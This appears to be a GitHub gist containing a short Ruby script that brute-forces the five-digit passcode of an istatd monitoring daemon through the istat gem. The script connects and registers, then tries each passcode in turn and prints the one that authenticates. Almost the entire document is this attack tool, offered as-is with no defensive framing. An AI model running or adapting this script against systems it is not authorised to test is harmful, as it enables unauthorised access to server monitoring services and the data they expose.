Skip to content

Instantly share code, notes, and snippets.

@threez
Created June 13, 2012 11:06
Show Gist options
  • Save threez/2923458 to your computer and use it in GitHub Desktop.
Save threez/2923458 to your computer and use it in GitHub Desktop.
Bruteforce an istatd password using the istat gem
#!/usr/bin/env ruby
require "rubygems"
require "istat"
require "logger"
logger = Logger.new(STDOUT)
class Istat::Client
attr_accessor :passwd
end
client = Istat::Client.new("localhost", 5109, nil)
client.connect!
if client.online?
if client.register!
99999.times do |passcode|
client.passwd = "%05d" % passcode
if client.authenticate!
puts "Found passcode: #{passcode}"
break
else
puts "Could not authentcate with #{passcode}!"
end
end
else
puts "Could not register!"
end
else
puts "Could not connect!"
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment